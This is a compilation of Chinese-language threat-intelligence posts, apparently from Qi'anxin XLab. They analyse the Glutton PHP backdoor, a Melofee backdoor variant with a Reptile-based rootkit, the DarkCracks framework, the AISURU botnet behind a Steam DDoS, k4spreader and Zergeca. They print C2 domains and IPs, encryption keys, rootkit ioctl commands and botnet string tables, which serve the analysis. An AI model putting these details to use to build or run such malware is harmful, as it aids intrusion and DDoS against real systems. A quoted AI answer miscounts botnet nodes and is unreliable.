在我们的溯源过程中，还发现了一个有意思的现象，Glutton的作者专门针对黑灰产的生产系统投毒，意图进行黑吃黑。时间回到2024年7月，我们以"b11st=0;"特征在VirusTotal进行狩猎，先后发现了5个被感染的文件，由不同的国家上传到VT。

其中编号1，2，3是单个PHP文件；编号4，5为压缩包，包含一套完整的业务系统。它们之中最特别的是编号4，它是一套网络诈骗常用的刷单抢单系统，恶意代码l0ader_shell位于thinkphp框架中的APP.php。

VT中显示它的Compressed Parents是shuadan109.timibbs.cc_20241026_175636.tar.gz，通过这个线索，我们发现了它的下载页面，售价高达980USDT，约等于人民币7000。

这个所谓的天美论坛上有大量博彩，棋牌，刷单等网络黑灰产的源码，售价不菲。

虽然我们没有花钱去验证VT上的那套代码是否为此论坛的原始代码（7000块，太贵啦！），但Glutton背后的黑客与这个论坛的关系无非存在以下几种可能性：

黑客是论坛用户，购买资源后投毒
黑客入侵论坛，向其网络资源投毒
黑客属于论坛，共同研究带毒的网络资源

无论哪种情况是，都暴露了收割黑灰产的意图，其作者明显具有“赢三次”的野心，具体体现在以下三方面：

窃取黑灰产发起者的高价值敏感信息
收割黑灰产业务本身带来的巨额经济利益
收集黑灰产参与者的敏感数据，为后续钓鱼或社工活动奠定基础

想要了解更多技术细节的读者可以访问XLab Blog，上面详细地分享了我们的发现&分析旅程。

https://blog.xlab.qianxin.com/glutton_stealthily_targets_mainstream_php_frameworks/

或者点击下方的阅读原文，想了解更多内幕信息，或有独家线索的读者，可以给我们留言。

阅读原文

跳转微信打开

警惕：0检测的Melofee 木马新变种曝光，专攻RHEL 7.9系统

Tue, 12 Nov 2024 14:09:00 +0800

原创奇安信X实验室 2024-11-12 14:09 中国香港

概述

24年7月27日，XLab的大网威胁感知系统检测到 IP 地址 45.92.156.166 正在传播一个名为pskt的ELF 文件，它在 VirusTotal 上尚无检测。该样本触发了两条告警：文件存在 Overlay 区段，且通信域名疑似模仿微软。经过分析，我们确认这是一个专门针对 Red Hat Enterprise Linux (RHEL) 7.9 的 Melofee 后门木马变种。

Melofee 是一个用 C++ 编写的后门木马，支持信息收集、进程管理、文件操作和 SHELL 等功能，最早于 2023 年 3 月被 ExaTrack公司 披露，据信隶属于 APT 组织 Winnti。此次捕获的样本相比旧版本在文件结构和功能层面均有显著升级。文件结构方面，新变种内嵌了一个 RC4 加密的内核级驱动模块，专门用于隐藏活动痕迹，包括样本文件、进程和网络通信。在功能上，新样本在持久化、单一实例机制以及功能号设计方面也有所变化。

通过比较样本中的 RTTI（运行时类型信息），甚至可以看到源码层面的改动。例如，先前样本中的网络连接类名为 TLSSocket，而本次样本的类名已更改为 TlsConn，这暗示 Melofee 可能在安全社区的监测之外被持续重构和使用。

值得注意的是，我们在溯源过程中还发现了一个有趣的误关联。新变种使用的 C2 地址为 filemanage.micrsofts-file.com。根据 PDNS 系统记录，该 C2 的二级域名 micrsofts-file.com 及其关联域名 www.micrsofts-file.com 在 2023 年 11 月至 2024 年 6 月期间解析至 IP 地址 91.195.240.123。该IP也出现在 2024 年 7 月 BlackBerry公司 发布的 APT 组织 SideWinder 分析报告中，且在 VirusTotal 上，它已被多家安全厂商标记为恶意。这是否意味着 Melofee 已在多个组织间流通，成为跨组织使用的工具，而非某个特定组织的专属？

我们认为答案是否定的。91.195.240.123 实际上是域名注册商 NameSilo 提供的 Parking IP，我们认为将其标记为恶意属于误报。NameSilo 会自动将新注册的二级域名及 www 三级域名解析至该 IP，因此，正常域名、不相关的恶意域名及 APT 活动可能共享此 IP，导致误导性的关联。

由于视野有限，我们尚不清楚攻击者的具体入侵手段及其后续目的，欢迎知情者提供更多线索，以帮助完善技战术矩阵。鉴于样本及域名的低检测率，以及Melofee家族的高隐匿性我们决定撰写本文，与社区分享我们的发现，共同维护网络安全。

本文将深入分析以下要点：

Overlay 结构及其解密方法
驱动模块功能
Melofee功能

技术细节

此次发现的新变种，目前我们只捕获了一个样本，它的功能相对直观，此变种的的功能相对直观，可根据运行方式是否带有参数，划分为感染模式和管理模式两种：

感染模式（无参数启动）：当 Melofee无参数启动时，进入感染模式。在此模式下：

通过 /tmp/lock_tmp1 文件确保仅有一个实例运行。
借助 crontab 实现持久化，并将进程名称伪装为 [md]或wwwwww。
解密并安装驱动模块，在驱动支持下，实现目录，文件、进程，网络连接，特定内容等多维度的隐匿。
解密并连接至 C2 服务器，建立通信，等待接收和执行服务器下发的指令。

管理模式（带参数启动）：当 Melofee 带有参数启动时，进入管理模式，接受一个参数控制驱动的隐藏状态。可用参数为：

hide：启用驱动的隐藏功能。
show：关闭驱动的隐藏功能。
kill：停止进程。

这种设计使得Melofee可以在感染和管理两种模式下灵活运作，满足不同场景下的隐蔽性和控制需求。下文将围绕解密过程、驱动模块以及后门功能等方面分析 Melofee 的技术细节。

第一部分：解密

Melofee 将 RC4 加密的驱动模块以 drv_overlay 结构体的格式附加在文件尾部，作为 Overlay 部分存储。

struct drv_overlay{    int encrypted_payload[payload_size];    int payload_size;    char flag[12];}

在这个样本中flag的值为EV#?YLFAkoip，payload_size为0x6a08，从playload_szie往前的0x6a08字节为encrypted_payload。

使用密钥87JoENDi对encrypt_payload进行解密，就得到了驱动模块kworkerx，可以看出它针对的操作系统为RHEL 7.9，内核版本为3.10.0。

C2配置同样采取RC4加密，密钥为87JoENDi，解密后为0:filemanage.micrsofts-file.com:443:60，它包含以下4部分：

连接的类型
C2 Domain
C2 Port
Interval

第二部分：驱动模块

解密得到的驱动模块kworkerx，经过分析，我们确定它实际上是由开源项目Reptile修改而来。原生的Reptile支持以下通过12种功能，可以分成隐藏，后门2大类；kworkerx主要使用其中的隐藏功能。

kworkerx 通过在初始化函数中挂钩 tcp4_seq_show 来隐藏网络通信记录，所有 443 端口的通信都不显示。对于进程、文件和目录的隐藏，kworkerx则通过挂钩 fillonedir、filldir、filldir64 以及 vfs_read 等函数来实现。

此外，kworkerx 还挂钩了 inet_ioctl 函数，以便与用户空间通信，接收控制命令。

当用户空间调用ioctl函数时，若传入的第二个参数为 0xE0E0E0E，则会进入kworkerx的处理函数 khook_inet_ioctl。在该函数中，根据第三个参数的值来开启或关闭 kworkerx 提供的各种隐藏功能。

ARG.CMD	CAPABILITY
0	show all
1	hide all
2	hide proc
3	show proc
5	file tamering
7	hide file,dir
8	unhide_chdir
9	hide_chdir

第三部分：功能分析

Melofee通过init_module函数安装kworkerx内核驱动模块后，默认就开启了TCP连接的隐藏，再通过IOCTL发送相应的控制指令，开启进程，目录，持久化的隐藏。

我们在虚拟机中首次以无参数形式执行该样本，结果显示其成功隐藏了进程、样本文件、持久化脚本及网络连接。随后，使用 show 参数再次运行样本，进程、样本文件和持久化脚本重新显现，但网络连接依然保持隐藏状态。最终，通过 rmmod 命令卸载 kworkerx 模块后，隐藏的网络连接才得以恢复显示。

Melofee 在安装驱动模块后，会解密 C2 配置并建立通信，等待接收指令并执行。本次捕获的样本支持的功能与 ExaTrack 分析报告中的描述基本一致，但在功能号上存在极大差异。

CMD ID	CAPABILITY
0x11	uninstall
0x22	collect device info
0x33	launch new command thread
0x34	write file
0x35	readfile
0x36	create new tcp connection
0x37	list directory
0x38	create directory
0x3a	delete directory
0x3b	create process to exec cmd
0x3c	exec command with output(including set new c2 ip
0x3d	collect process info
0x3e	kill process
0x3f	launch shell
0x7b	ping back

总结

Melofee 提供的功能较为简洁，但具备极强的隐匿性。该家族的样本并不常见，攻击者可能将其使用范围限定在高价值目标上。网络管理员可以通过 /tmp/lock_tmp1 文件以及 kworkerx 等实体判断系统是否受到感染。如发现感染迹象，可按照前文描述删除相关驱动、进程、文件和持久化内容。

我们欢迎读者提供新的见解和情报，如您对我们的研究感兴趣，可通过留言与我们联系。

阅读原文

跳转微信打开

DarkCracks, 一个利用被黑GLPI, WORDPRESS站点充当中转的高级恶意载荷&升级框架

Tue, 03 Sep 2024 12:12:00 +0800

奇安信X实验室 2024-09-03 12:12 中国香港

概述我们的XLab大网威胁感知系统最近捕获了一个VirusTotal 0检测, 高持续、高隐匿、高完善升级设计

概述

我们的XLab大网威胁感知系统最近捕获了一个VirusTotal 0检测, 高持续、高隐匿、高完善升级设计、并利用高性能稳定在线设备作为其基础设施的恶意载荷投递&升级框架系统。

从我们的数据来看，这个我们命名为DarkCracks的恶意程序设计精良，背后的攻击者绝非普通的脚本小子。虽然我们对他的载荷投递&升级框架体系已经掌握，但由于高隐匿性，它的Launcher组件我们截止目前尚无显著视野。

不过在8月26日，我们看到在该项目的开发文件中新增一个受密码保护的名字resume的PDF文件，随后该文件被重命名为韩文``김영미 이력서 (Kim Young-mi's resume)``，考虑到这是一个较为常见的韩文名字，我们高度怀疑这个组件的一部分功能是针对韩语用户群体的社工活动。

DarkCracks利用被黑的GLPI, WORDPRESS站点充当Downloader & C2，收集被入侵设备敏感信息，维持被入侵设备的长期访问权限，并利用这些设备作为中间节点控制其他设备或投递恶意载荷以隐匿攻击者痕迹。我们视野范围内的分布在不同国家的学校网站，公交系统，甚至监狱访客系统等公众服务系统都是被害对象。

攻击目标

DarkCracks 根据受害者设备的性能差异分配不同角色：性能强劲的设备承担基础设施角色，如 C2 和 Downloader；而性能较弱的设备则充当 Bot 业务节点。

DarkCracks 的一类攻击目标是World Press以及GLPI。World Press，一个世界知名的web内容管理系统，此处就再不展开；而相对冷门的GLPI（Gestionnaire Libre de Parc Informatique）是一款开源的 IT 资产管理和服务管理系统，它主要用于帮助组织管理其信息技术资产，包括硬件、软件、网络设备等。该系统广泛应用于中小型企业、教育机构和政府部门，以提高 IT 基础设施的管理和维护效率。

在我们观察到的13个C2/Downloader中(被入侵的设备)，涉及城市公交系统、监狱访客预约系统、金融机构等重要机构。

根据奇安信鹰图的统计，近一个月暴露在公网上的GLPI服务数字为10157，请使用此系统的相关企业积极排查，保持警惕。

技术细节示例

DarkCrack框架的关键组件包括：Runner、Client、Launcher和C2 Panel。通过深入分析各组件的功能，我们清晰地揭示了DarkCracks的设计原理，并理清了它是如何通过这些组件隐秘地实现Payload的投递。

由于篇幅原因，本文选取对C2 Panel的操控作为分析成果的展示，想充分理解DarkCracks技术细节的读者可以参阅原文。

我们发现特定的网络请求能进入C2 Panel的管理员模式，对数据库进行"增，删，改，查"。

以"soussanart.com"为例，它是一个艺术品交易网站，被DarkCracks入侵，将其变身为C2基础设施。我们构造了以下网络请求，用以查询和此C2通信的Bot的详细信息。

可以看出C2返回的信息是加密的，解密过程可以分成以下3步

1. 字串逆序列，Base64 URLSafe模式解码2. 与Crackalackin'逐字节异或3. 英文字母大小写互换，Base64 URLSafe模式解码

最终我们就获得了一个JSON格式的消息，其中的clients字段中存放着76条Bot相关的信息，它们的IP分布于17个不同的国家。

DarkCracks还有很多有意思的技术细节，如DGA，如将配置文件隐藏在C++代码中等。对技术分析感兴趣的读者，请访问XLab Blog，上面详细地分享了我们发现&分析旅程。

https://blog.xlab.qianxin.com/uncovering_darkcracks_payload_delivery_framework_cn/

或者点击下方的阅读原文，想了解更多内幕信息的读者，可以给我们留言。

阅读原文

跳转微信打开

《黑神话：悟空》发行平台遭DDoS攻击的更多细节（公开版）

Wed, 28 Aug 2024 14:20:00 +0800

原创奇安信X实验室 2024-08-28 14:20 北京

事件回顾8月24日晚，Steam平台突然崩溃，国内外玩家纷纷反馈无法登录。许多玩家猜测崩溃是由于《黑神话：悟空》在线人数过多导致。

事件回顾

8月24日晚，Steam平台突然崩溃，国内外玩家纷纷反馈无法登录。许多玩家猜测崩溃是由于《黑神话：悟空》在线人数过多导致。然而，根据完美世界竞技平台的公告，此次Steam崩溃实际上是因为遭受了大规模DDoS攻击。

完美世界公告

Downdetector用户报告的Steam 中断情况

关于此次事件XLab的观察

XLAB大网威胁感知系统对最近的DDoS攻击事件进行了深入观察。我们注意到，此次攻击涉及了近60个僵尸网络主控节点，这一规模远超过常规僵尸网络的控制范围。这些主控节点协同指挥了大量被感染的bots，以波次方式发起了攻击。

攻击的目标包括Steam在全球13个地区的服务器IP，包括中国、美国、新加坡、瑞典、德国、奥地利、西班牙、英国、日本、韩国、澳大利亚、智利和荷兰。值得注意的是，除了Steam自身的服务器外，国内完美世界代理的Steam服务器也被列为攻击目标。总计，有107个服务器IP遭到了攻击。

攻击行动主要分为四个波次，攻击者似乎有意选择在各个时区的游戏玩家在线高峰时段发起攻击，以实现最大的破坏效果。

从攻击的时间选择、地域分布，以及同时针对国内外Steam服务器的策略来看，攻击者的目的显然是在重点扰乱中国市场的同时，在全球范围内对Steam平台的正常运营造成全面干扰。这种有组织的攻击行为表明了攻击者在策略上的计划性和对目标的明确针对性。

攻击时段分析

此次攻击事件主要分4个批次、追着时区打。分别是东半球周六中午、东半球周六晚间、西半球周六晚间和欧洲地区周日晚间、都是游戏玩家在线的高峰时段。具体攻击时段和地区如下图：（图表说明：横坐标为攻击时间、纵坐标为被攻击地区、色块表示该地区被攻击的服务器数量）

详细攻击时间线

北京24日11点前后，第一波尝试攻击，影响7个地区Steam服务器，攻击持续时间近1小时（东半球周六中午）
北京24日21点前后，第二波攻击，影响13个地区Steam服务器，断断续续攻击将近5小时（东半球周六晚间）
北京25日09点前后，第三波攻击，影响13个地区Steam服务器，攻击将近15分钟（西半球周六夜晚）
北京26日04点前后，第四波攻击，影响13个地区Steam服务器，攻击持续时间近2分钟（欧洲周日夜晚）

四波攻击的详细时间和地区

Steam被攻击的服务

从这些Steam服务器的的关键字猜测，被攻击的主要是：内容服务器、ingest、broadcastcs，相关的服务。

27 ext2 27 ext1 18 cm2 18 cm1 11 ext3 9 ext4 5 cm5 5 cm4 5 cm3 4 cm6 3 ext5 1 ingest 1 ext6 1 cm05 1 broadcastcs

攻击动机推测

此次攻击事件我们一共观察到了28万条针对Steam平台的攻击指令，根据我们的长期观察，作为知名的游戏平台，Steam的攻击日常发生，但往往都是零散的服务器被小规模的攻击，攻击指令数目几次到几十次不等。此次事件攻击指令直接暴涨2万多倍, 峰值时攻击指令25万，这种涨幅是非常罕见的(见下图，攻击指令趋势图，巨大的尖峰）。Steam全球各地区机房服务器被轮着打，包括国内完美世界代理的Steam服务器也一并被扒出来攻击，《黑神话：悟空》上线之前我们从没有发现完美世界Steam服务器遭遇过DDoS攻击。且攻击时长多达几个小时，专挑各地区玩家在线高峰期攻击。这是极其少见的。

过去一年针对steam平台的攻击事件攻击指令趋势

下图是我们的大网威胁感知系统的截图，大家看到是被攻击企业排名，可以看到在过去一个月的数据里，Steam（Value公司）和完美世界排在第一第二，远超后续的Verizon等知名企业。

结合最近火出圈的国产游戏《黑神话：悟空》在Steam平台上线，包括主要为国内游戏玩家服务的完美世界Steam服务器也遭到攻击，《黑神话：悟空》上线之前我们从没有见过完美世界Steam服务器遭遇过DDoS攻击。又是周末夜晚，广大游戏玩家在线的高峰时期，Steam平台遭遇如此大规模的DDoS攻击，很难让人不联想此次攻击事件不是针对国产3A游戏大作《黑神话：悟空》。

主要涉事僵尸网络

Steam做为一个的世界性的游戏平台，不可能被区区一，俩僵尸网络打崩，肯定是非常多的僵尸网络被组织起来协同攻击。世界上没有任何组织可能拥有全知视野，本文只是从XLab的视野出发，就此次攻击事件进行分析。

在我们视野中多个僵尸网络参与此次攻击，其中的的主力是自称AISURU僵尸网络，在其telegram频道中声称拥有超过30000个bot节点，攻击能力在1.3 - 2T左右。
下图是该僵尸网络的能力测试图：

此外该频道还提到了国外厂商GSL的一篇Blog，Blog声称是有史以来向公众报告的最大规模的攻击，我们也在该僵尸网络的攻击日志中找到相同时间节点发出的攻击：

部分读者可能对于这些数字没有概念，让我们看一看当下最火的人工智能大模型的回答。

一个僵尸网络（botnet）拥有30000个节点，并且其攻击能力在1.3 Tbps（太比特每秒）到2 Tbps之间，这代表了一个非常强大的网络攻击能力。要理解这个概念，可以从以下几个方面来分析：
攻击规模：1.3 Tbps 到 2 Tbps 的攻击流量已经非常巨大，足以造成严重的分布式拒绝服务攻击（DDoS），这类攻击会使目标服务器、网络或应用程序瘫痪。一般来说，传统的企业网络带宽远低于这个水平，因此这样的攻击会对目标产生毁灭性影响。
节点数量：30000个节点意味着有25000台受控设备参与了攻击。每个节点可能会贡献一定的带宽来发起攻击，集合起来的总攻击流量达到1.3 Tbps至2 Tbps。
实际影响：这种规模的DDoS攻击可以轻松压垮大部分互联网服务，除非被攻击方拥有非常强大的防护措施和足够的带宽冗余。这类攻击常见于高调的黑客活动，针对大型企业、政府机构或关键基础设施。

相信读者现在已经有了一定的认识，总体来说，像AISURU这样的僵尸网络是一种非常强大的网络武器，能够通过数量巨大的设备同时发起攻击，使得几乎任何没有特别强大防护措施的在线服务都可能被击垮。这种攻击不仅对目标造成直接影响，还可能影响到大量依赖这些服务的普通用户，正如此次攻击，让大量玩家无法登录平台，畅玩悟空，喊出那一句“广智救我”。

AISURU僵尸网络技术细节

正所谓罗马并非一天建成，AISURU僵尸网络也有自身的发展历程。其实我们在2023年10月就捕获到该僵尸网络的样本，不过它在短暂运营之后便销声匿迹，直到今天5月初以'NAKOTNE'的名字再次进入我们视野，随后进入高速发展期，先后投入十几个Nday漏洞组建网络，最终进化为今天的AISURA。

AISURA的在战术、技术层面都和2022年我们发现并命名的僵尸网络Fodcha有着千丝万缕的关系。Fodcha因参与攻击健康码、Navicat等一系列有影响力的事件而在安全圈内臭名昭著，被我们戏称为“DDoS狂魔”。最终，在我们一系列的曝光和打击下，它被迫关停。

在我们看来，AISURA像是Fodcha的“追随者”或“信徒”，它在技术与战术层面很好的继承了Fodcha的遗产，但同时也发展出了独特的风格，其威胁性不弱于Fodcha。

首先从战术层面上来说，它也和Fodcha一样，喜欢挑衅安全公司，希望被知名安全公司点名曝光，为自己带来流量热度，通过这种另类的广告方式，为自己在激烈的黑产竞争中赢得优势，似乎深谙“酒香也怕巷子深”之理。

AISURA在最早的样本中是这样表达它对安全社区的“尊重”，"N3tL4b360G4y"，"paloaltoisgaytoo"。paloalto，即Palo Alto Networks，是美国一家非常著名的安全公司，市值超过千亿；那“N3tL4b360”呢？其实是一种在安全圈颇为流行的Hexspeak，它指的是我们前团队的名字。当我们披露这批样本后，它马上很知趣的在新样本中将N3tL4b360G4y替换成xlab gay。毫无疑问，这又迎来了我们的曝光。此外AISURU非常关注我们blog的动态，在最新的样本中又增加了一条消息today at xlab, botnet operators learn how to dance macarena，这让我们想起了之前公开的Rimasuta僵尸网络：曾经在样本中留言this week on netlab 360 botnet operator learns chacha slide。今天学chachaslide，明天练macarena，俩个都是跳舞，难道僵尸网络的作者多为舞蹈爱好者？对此，我们想对僵尸网络团体说，“好好练，后天开发出更精彩的botnet之舞惊艳我们！”。

另外样本中的C2域名foxnointel.ru，实在让我们有些忍俊不禁。读者或许会问，笑点何在呢？请容许我们解释一下黑客的幽默，在X平台上有一个非常活跃的安全研究员，ID是Fox_threatintel，他几乎每天都会分享一些威胁情报（threatintel）；AISURA使用C2域名foxnointel，即fox no intel，“嘲讽”他其实根本没有情报。

接着我们来看技术层面，AISURA在代码结构上保留了部分Fodcha的风格，比如使用和Fodcha类似的switch-case进行各个阶段的处理；在基础设施投入上延续了Fodcha的“危机意识”，即将C2映射到20多个IP，而且分布在美国、英国、韩国、日本、俄罗期多个国家，同时分散在Azure、Linode、Vdsina、Google等多个平台，极大的增加了处置的难度。AISURA主控地理位置分布如下：

8 United States 3 United Kingdom 3 South Korea 3 Russia 2 Singapore 2 Japan 2 India 1 The Netherlands 1 Switzerland 1 Poland 1 Brazil

当然喜欢彰显特立独行的黑产团体，肯定不甘心被人贴上模仿者的标签，AISURA在加密，网络通信等方面实现了自已独特的创新。

字符串解密

早期版本使用CHACHA20对样本中的字符串进行加密，在后期的版本中使用XXTEA加密。

NAKOTEN_XXTEA_KEY_HEX: 1234567890ABCDEFFEDCBA9876543210

在最新的版本中，样本中仍保留了之前的KEY，但长度缩短为4，算法也在朝着简单的方向发展，更换为BYTES_XOR。

AISURU_BYTES_KEY_HEX: 12345678

0x1a42c snow slide0x1a6d0 a|b|c|d|e|f|g|h|j|k:printerconsulting.ru|foxnointel.ru0x1a438 reports.printerconsulting.ru0x1a708 5.35.45.162|5.35.44.21|166.1.160.38|194.147.35.350x1a458 /login|/products|/contact|/register|/user0x1a484 /dev/null0x1a490 /dev/tty0x1a49c /dev/pts/10x1a4a8 /dev/console0x1a4b8 /.ai  0x1a4c0 /proc/0x1a4c8 /proc/self/exe0x1a4d8 /proc/net/tcp0x1a4e8 /cmdline0x1a4f4 /exe0x1a4fc /proc/uptime0x1a50c /maps0x1a514 /fd/0x1a51c socket0x1a524 wget|curl|ftp|ntpdate|echo0x1a540 telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uchttpd|pppd|dhclient0x1a5f4 /dev/watchdog0x1a604 /dev/misc/watchdog0x1a618 TSource Engine Query0x1a630 xlab gay0x1a63c paloaltoisgaytoo0x1a650 shell0x1a658 system0x1a660 enable0x1a668 sh0x1a73c /bin/busybox AISURU0x1a66c AISURU: applet not found0x1a688 ncorrect0x1a694 today at xlab, botnet operators learn how to dance macarena

网络协议

2023年10月的版本以N3tL4b360G4y作为上线包，并将该字符串明文硬编码在样本中。被曝光之后，我们收到了新的“回应”：从NAKOTNE版本开始，以xlab gay作为上线包，并且将其加密编码到字符串表中。

C2获取

在8月初我们在新样本中收到留言：today at xlab, botnet operators learn how to dance macarena，以往域名或IP被直接加密编码在字符串表中，而新样本中加入了新的机制获取C2。

通过解密字符串表，我们发现以下可疑字符串：

[1] a|b|c|d|e|f|g|h|j|k:printerconsulting.ru|foxnointel.ru[2] 5.35.45.162|5.35.44.21|166.1.160.38|194.147.35.35[3] /login|/products|/contact|/register|/user

经过分析后，使用以下机制获取C2：

通过:分割[1]中的子域名和二级域名，再通过|分割每一项
随机选择一个子域名和一个二级域名，拼接后得到C2
若解析上述C2失败，则用|分割[2]、[3]，得到IP和URI
根据IP和URI构造GET请求并发送
以4字节为单位获取返回包中的C2

C2使用的端口被硬编码在样本中，从21个端口中随机选择一个

通信过程

通信过程在多个版本中都没有发生变化，使用和Fodcha类似的switch-case进行各个阶段的处理：

1，上线包发送：xlab gay2，协商密钥 使用XXTEA解密得到CHACHA20_KEY、CHACHA20_Nonce 硬编码的NET_XXTEA_KEY_HEX: 428723212B0106344C7A0953222369213，密钥验证 使用协商后的密钥解密数据，通过对比字符串paloaltoisgaytoo验证双方密钥一致性。4，发送bot分组信息 先发送明文的分组长度，再发送CHACHA20加密的分组信息

至此，AISURU僵尸网络的主要技术细节介绍完毕。DDoS这一古老的网络威胁，游戏行为行业的天敌之一，就是如此朴实无华但粗暴有效。

总结

我们团队在大规模僵尸网络发现&跟踪领域已经专注超过10年，参与过全球众多知名和未公开的各种攻击事件预警，防御和协作，但此次攻击的组织度，烈度依然让我们觉得很惊奇。中国出了一款登顶全球的游戏，有人这么不开心吗？

最后引用一句伟人的诗作为本文的结束，"金猴奋起千钧棒，玉宇澄清万里埃"，祝福悟空，祝福中国的游戏产业。

阅读原文

跳转微信打开

8220挖矿团伙的新玩具：k4spreader

Tue, 25 Jun 2024 10:11:00 +0800

原创奇安信X实验室 2024-06-25 10:11 北京

XLab的大网威胁感知系统会对当前活跃的主流DDoS僵尸网络家族进行持续跟踪和监控，最近3个月，这套系统观察到CatDDoS系团伙持续活跃，利用的漏洞数量达80+，攻击目标数量最大峰值300+/d，我们整理了一份近期的各种数据分享给社区。

概述

2024年6月17号我们发现了一个VT 0检测的使用c语言编写的ELF样本，这个样本使用变形的upx加壳，脱壳后得到了另一个变形的upx加壳的elf文件，使用cgo的方式编写。经过分析发现这是来自“8220“挖矿团伙的新工具，用来安装其他恶意软件执行，主要是构建Tsunami DDoS僵尸网络和安装PwnRig挖矿程序。根据样本中的函数名称将其命名为“k4spreader”，进一步分析了VT的和蜜罐的数据后，发现k4spreader尚处于开发阶段，但已经出现3个变种，因此在这做一个简单介绍。

“8220“团伙：又被称为“Water Sigbin”，是一个来自中国的、自2017年以来持续活跃的挖矿团伙，2017年11月，使用当时还是0day状态的Weblogic反序列化漏洞（CVE-2017-10271）入侵服务器植入挖矿木马，这是第一次被公开披露的使用0day漏洞入侵服务器植入挖矿木马的案例。该团伙擅长利用反序列化、未授权访问等漏洞攻击Windows和Linux服务器，随后下载僵尸网络程序、挖矿程序、端口扫描工具等对主机进行控制和恶意利用。之前挖矿是该团伙主要活跃领域，但是加入Tsunami僵尸网络后也可发起DDoS攻击，因此已不单纯是开展恶意挖矿的黑客团伙。

文章重点：

1）k4spreader属于“8220“挖矿团伙的新工具，是个安装器，视野内最早出现在2024年2月2）k4spreader用cgo编写，包括系统持久化、下载更新自身、释放其他恶意软件执行3）k4spreader存在shell版本，整体功能一样，可以理解为k4spreader是shell版本的二进制实现4）k4spreader目前会释放Tsunami和PwnRig，释放方式包括从C2下载、从自身释放两种方式5）k4spreader尚处于开发阶段，目前观察到三个版本

k4spreader的核心流程如下：

详细内容请访问：

https://blog.xlab.qianxin.com/8220-k4spreader-new-tool-cn/

或者点击下方的阅读原文

阅读原文

跳转微信打开

虫潮降临：Zergeca僵尸网络分析报告

Wed, 19 Jun 2024 13:08:00 +0800

原创奇安信X实验室 2024-06-19 13:08 北京

Zergeca支持多种DNS解析方式，优先使用DOH进行C2解析，使用不常见的Smux库实现C2通信协议，并通过xor进行加密，主要功能为DDoS，代理，扫描，后门

2024年5月20日，XLab的威胁感知系统检测到一个可疑的ELF文件/usr/bin/geomi，该文件使用变形的UPX加壳，从俄罗斯上传到VirusTotal。随后在德国也发现了相同类型的文件。经过分析，确认这是一个使用Golang实现的僵尸网络，我们命名为Zergeca。

Zergeca功能

Zergeca不仅是一个典型的DDoS僵尸网络，还具备以下功能：

代理
扫描
自升级
持久化
文件传输
反向shell
收集设备敏感信息

网络通信

Zergeca的通信特点：

支持多种DNS解析方式，优先使用DOH进行C2解析
使用不常见的Smux库实现C2通信协议，并通过xor进行加密

样本&C2检测

Xlab捕获的四个样本功能几乎一样，但检测率差异较大

大部分杀软产商对以下样本研判结果是Generic Malware，我们推测杀软基于hash特征进行检测，一旦hash变化，检测效果就会变差。

23ca4ab1518ff76f5037ea12f367a469

为了验证猜想，我们在该文件的尾部加入了4字节“Xlab”，重新上传VT后，检测率变成了9/67，部分证明了我们的推测。

域名和IP关联

四个样本共用两个在同一天创建的C2域名（ootheca.pw 和 ootheca.top），优先使用DOH方式进行C2解析，掩盖了样本和C2域名之间的关系，导致检测率低。C2域名和IP地址（84.54.51.82）的分析显示，该IP自2023年9月以来参与了多种网络活动，包括扫描、下载和僵尸网络C2服务。曾为多个Mirai僵尸网络提供服务，Zergeca的作者具有运营Mirai僵尸网络的经验。

总结

过逆向分析，我们对Zergecar的作者有了初步的认识：内置的竞争对手名单表明其作者对Linux生态下流行的威胁非常熟悉；使用变形UPX加壳、敏感字符串的xor加密、以及通过DOH隐藏C2解析等技术，显示了他们的免杀意识；基于Smux实现网络协议则展示了其开发能力。面对这样一个既会运营、又懂对抗、还能开发的对手，我们在未来如果再看到他的新作品也不会感到意外，只想说：“Give it your all and wow us!”

详细信息请点击下方的阅读原文阅读

阅读原文

跳转微信打开